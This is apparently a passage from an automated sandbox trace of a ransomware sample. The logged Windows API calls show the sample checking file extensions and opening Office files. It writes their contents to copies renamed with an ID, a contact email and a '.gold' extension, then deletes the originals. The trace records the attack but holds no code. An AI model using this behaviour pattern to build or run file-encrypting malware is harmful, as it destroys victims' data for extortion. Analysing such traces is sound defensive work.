Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.036] lstrlenW (lpString=".doc") returned 4 [0106.036] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString=".docx") returned 5 [0106.036] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0106.036] lstrlenW (lpString=".pdf") returned 4 [0106.036] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString=".xls") returned 4 [0106.036] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0106.036] lstrlenW (lpString=".xlsx") returned 5 [0106.036] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0106.036] lstrlenW (lpString=".ppt") returned 4 [0106.036] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.036] lstrlenW (lpString=".zip") returned 4 [0106.036] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0106.036] lstrlenW (lpString=".rar") returned 4 [0106.036] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString=".bz2") returned 4 [0106.036] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString=".7z") returned 3 [0106.036] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0106.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.036] lstrlenW (lpString=".dbf") returned 4 [0106.036] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.036] lstrlenW (lpString=".1cd") returned 4 [0106.036] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.036] lstrlenW (lpString=".jpg") returned 4 [0106.036] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0106.036] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0106.036] lstrlenW (lpString="QRYINT32.DLL") returned 12 [0106.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0106.621] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=83808) returned 1 [0106.621] CloseHandle (hObject=0x3b0) returned 1 [0106.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll")) returned 0x20 [0106.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.632] lstrlenW (lpString=".doc") returned 4 [0106.632] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString=".docx") returned 5 [0106.632] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0106.632] lstrlenW (lpString=".pdf") returned 4 [0106.632] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString=".xls") returned 4 [0106.632] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString=".xlsx") returned 5 [0106.632] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0106.632] lstrlenW (lpString=".ppt") returned 4 [0106.632] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.632] lstrlenW (lpString=".zip") returned 4 [0106.632] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString=".rar") returned 4 [0106.632] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString=".bz2") returned 4 [0106.632] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0106.632] lstrlenW (lpString=".7z") returned 3 [0106.632] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.632] lstrlenW (lpString=".dbf") returned 4 [0106.632] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0106.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.632] lstrlenW (lpString=".1cd") returned 4 [0106.632] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0106.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.632] lstrlenW (lpString=".jpg") returned 4 [0106.632] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.632] lstrlenW (lpString=".doc") returned 4 [0106.632] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString=".docx") returned 5 [0106.632] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0106.632] lstrlenW (lpString=".pdf") returned 4 [0106.632] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString=".xls") returned 4 [0106.632] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0106.632] lstrlenW (lpString=".xlsx") returned 5 [0106.632] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0106.633] lstrlenW (lpString=".ppt") returned 4 [0106.633] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0106.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.633] lstrlenW (lpString=".zip") returned 4 [0106.633] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0106.633] lstrlenW (lpString=".rar") returned 4 [0106.633] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0106.633] lstrlenW (lpString=".bz2") returned 4 [0106.633] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0106.633] lstrlenW (lpString=".7z") returned 3 [0106.633] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.633] lstrlenW (lpString=".dbf") returned 4 [0106.633] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0106.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.633] lstrlenW (lpString=".1cd") returned 4 [0106.633] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0106.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0106.633] lstrlenW (lpString=".jpg") returned 4 [0106.633] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0106.633] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0106.633] lstrlenW (lpString="SETLANG_K_COL.HXK") returned 17 [0106.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0107.105] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=113) returned 1 [0107.105] CloseHandle (hObject=0x3c4) returned 1 [0107.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 0x20 [0107.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.324] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.324] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.325] GetLastError () returned 0x0 [0107.325] ReadFile (in: hFile=0x3ac, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x71, lpOverlapped=0x0) returned 1 [0107.326] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0107.326] ReadFile (in: hFile=0x3ac, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.326] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0107.327] SetEndOfFile (hFile=0x394) returned 1 [0107.327] CloseHandle (hObject=0x394) returned 1 [0107.327] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.327] SetEndOfFile (hFile=0x3ac) returned 1 [0107.328] CloseHandle (hObject=0x3ac) returned 1 [0107.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 1 [0107.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.329] lstrlenW (lpString=".doc") returned 4 [0107.329] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.329] lstrlenW (lpString=".docx") returned 5 [0107.330] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.330] lstrlenW (lpString=".pdf") returned 4 [0107.330] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString=".xls") returned 4 [0107.330] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString=".xlsx") returned 5 [0107.330] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.330] lstrlenW (lpString=".ppt") returned 4 [0107.330] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.330] lstrlenW (lpString=".zip") returned 4 [0107.330] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString=".rar") returned 4 [0107.330] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString=".bz2") returned 4 [0107.330] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.330] lstrlenW (lpString=".7z") returned 3 [0107.330] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.330] lstrlenW (lpString=".dbf") returned 4 [0107.330] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.330] lstrlenW (lpString=".1cd") returned 4 [0107.330] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.330] lstrlenW (lpString=".jpg") returned 4 [0107.330] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.330] lstrlenW (lpString=".doc") returned 4 [0107.330] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.330] lstrlenW (lpString=".docx") returned 5 [0107.330] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.330] lstrlenW (lpString=".pdf") returned 4 [0107.330] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString=".xls") returned 4 [0107.330] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString=".xlsx") returned 5 [0107.330] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.330] lstrlenW (lpString=".ppt") returned 4 [0107.330] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.330] lstrlenW (lpString=".zip") returned 4 [0107.330] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString=".rar") returned 4 [0107.330] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.330] lstrlenW (lpString=".bz2") returned 4 [0107.330] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.330] lstrlenW (lpString=".7z") returned 3 [0107.330] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.330] lstrlenW (lpString=".dbf") returned 4 [0107.330] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.330] lstrlenW (lpString=".1cd") returned 4 [0107.331] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0107.331] lstrlenW (lpString=".jpg") returned 4 [0107.331] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.331] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0107.331] lstrlenW (lpString="UML.VSL") returned 7 [0107.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.332] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=392584) returned 1 [0107.332] CloseHandle (hObject=0x3ac) returned 1 [0107.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 0x20 [0107.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.332] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.332] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.333] GetLastError () returned 0x0 [0107.333] ReadFile (in: hFile=0x3ac, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x5fd88, lpOverlapped=0x0) returned 1 [0107.342] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x5fd90, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x5fd90, lpOverlapped=0x0) returned 1 [0107.347] ReadFile (in: hFile=0x3ac, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.347] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0107.348] SetEndOfFile (hFile=0x394) returned 1 [0107.348] CloseHandle (hObject=0x394) returned 1 [0107.348] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.348] SetEndOfFile (hFile=0x3ac) returned 1 [0107.354] CloseHandle (hObject=0x3ac) returned 1 [0107.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 1 [0107.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.365] lstrlenW (lpString=".doc") returned 4 [0107.365] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.365] lstrlenW (lpString=".docx") returned 5 [0107.365] lstrcmpiW (lpString1=".docx", lpString2="L.VSL") returned -1 [0107.365] lstrlenW (lpString=".pdf") returned 4 [0107.365] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.365] lstrlenW (lpString=".xls") returned 4 [0107.365] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.365] lstrlenW (lpString=".xlsx") returned 5 [0107.365] lstrcmpiW (lpString1=".xlsx", lpString2="L.VSL") returned -1 [0107.365] lstrlenW (lpString=".ppt") returned 4 [0107.365] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.365] lstrlenW (lpString=".zip") returned 4 [0107.365] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.365] lstrlenW (lpString=".rar") returned 4 [0107.365] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString=".bz2") returned 4 [0107.366] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString=".7z") returned 3 [0107.366] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.366] lstrlenW (lpString=".dbf") returned 4 [0107.366] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.366] lstrlenW (lpString=".1cd") returned 4 [0107.366] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.366] lstrlenW (lpString=".jpg") returned 4 [0107.366] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.366] lstrlenW (lpString=".doc") returned 4 [0107.366] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString=".docx") returned 5 [0107.366] lstrcmpiW (lpString1=".docx", lpString2="L.VSL") returned -1 [0107.366] lstrlenW (lpString=".pdf") returned 4 [0107.366] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString=".xls") returned 4 [0107.366] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.366] lstrlenW (lpString=".xlsx") returned 5 [0107.366] lstrcmpiW (lpString1=".xlsx", lpString2="L.VSL") returned -1 [0107.366] lstrlenW (lpString=".ppt") returned 4 [0107.366] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.366] lstrlenW (lpString=".zip") returned 4 [0107.366] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.366] lstrlenW (lpString=".rar") returned 4 [0107.366] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString=".bz2") returned 4 [0107.366] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString=".7z") returned 3 [0107.366] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.366] lstrlenW (lpString=".dbf") returned 4 [0107.366] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.366] lstrlenW (lpString=".1cd") returned 4 [0107.366] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0107.366] lstrlenW (lpString=".jpg") returned 4 [0107.366] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.366] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0107.366] lstrlenW (lpString="UmOutlookStrings.dll") returned 20 [0107.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.367] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=61312) returned 1 [0107.367] CloseHandle (hObject=0x3ac) returned 1 [0107.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll")) returned 0x20 [0107.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.368] lstrlenW (lpString=".doc") returned 4 [0107.368] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.368] lstrlenW (lpString=".docx") returned 5 [0107.368] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0107.368] 